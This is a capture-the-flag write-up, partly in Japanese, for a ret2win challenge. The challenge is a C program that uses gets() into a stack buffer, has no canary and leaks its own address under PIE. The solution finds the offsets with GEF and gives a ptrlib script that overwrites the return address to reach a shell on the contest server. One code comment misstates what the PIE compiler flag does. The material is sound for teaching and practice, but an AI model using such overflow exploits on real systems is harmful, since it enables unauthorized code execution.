Challenge

PIE 有効下で win() を呼び出してシェルを取ろう! 🦙 < フラグは /flag.txt にあるパカ

// gcc -o chal main.c -fno-stack-protector -O0

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You don't have to care about this function
__attribute__((constructor)) void setup() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
}

/*
** How to get the address of `win` **

  $ nm chal | grep win
  XXXXXXXXX

This address is **NOT fixed** across executions, because the challenge binary
`chal` is compiled WITHOUT -fno-pie (i.e., without position-independent code).
*/
void win() {
    execve("/bin/sh", NULL, NULL);
}

int main(void) {
    printf("address of main function: %p\\n", main);
    char buffer[64];
    printf("input > ");
    gets(buffer);
    return 0;
}

Solution

カナリアがないので ret2winを狙います。

PIE有効のためmainのアドレスは実行ごとにズレますが与えてくれるので

mainとwin間のオフセットが分かればwinのアドレス位置を特定できます。

Inputからリターンアドレスまでのオフセット

GEFで確認したところ72でした。

start
pattc
c
(pattc入力)
patto $pc
---
[+] Searching for b'jaaaaaaa'
[+] Found at offset 72 (0x48)

mainとwin間のオフセット

GEFで確認したところ0x24でした。

gef> p main - win
$1 = 0x24

Final Script

from ptrlib import *

io = remote("nc 34.170.146.252 19295")

leaked_main = int(io.recvlineafter(b": "), 16)
win_addr = leaked_main - 0x24

payload = b"A" * 72 + p64(win_addr)
io.sendline(payload)
io.interactive()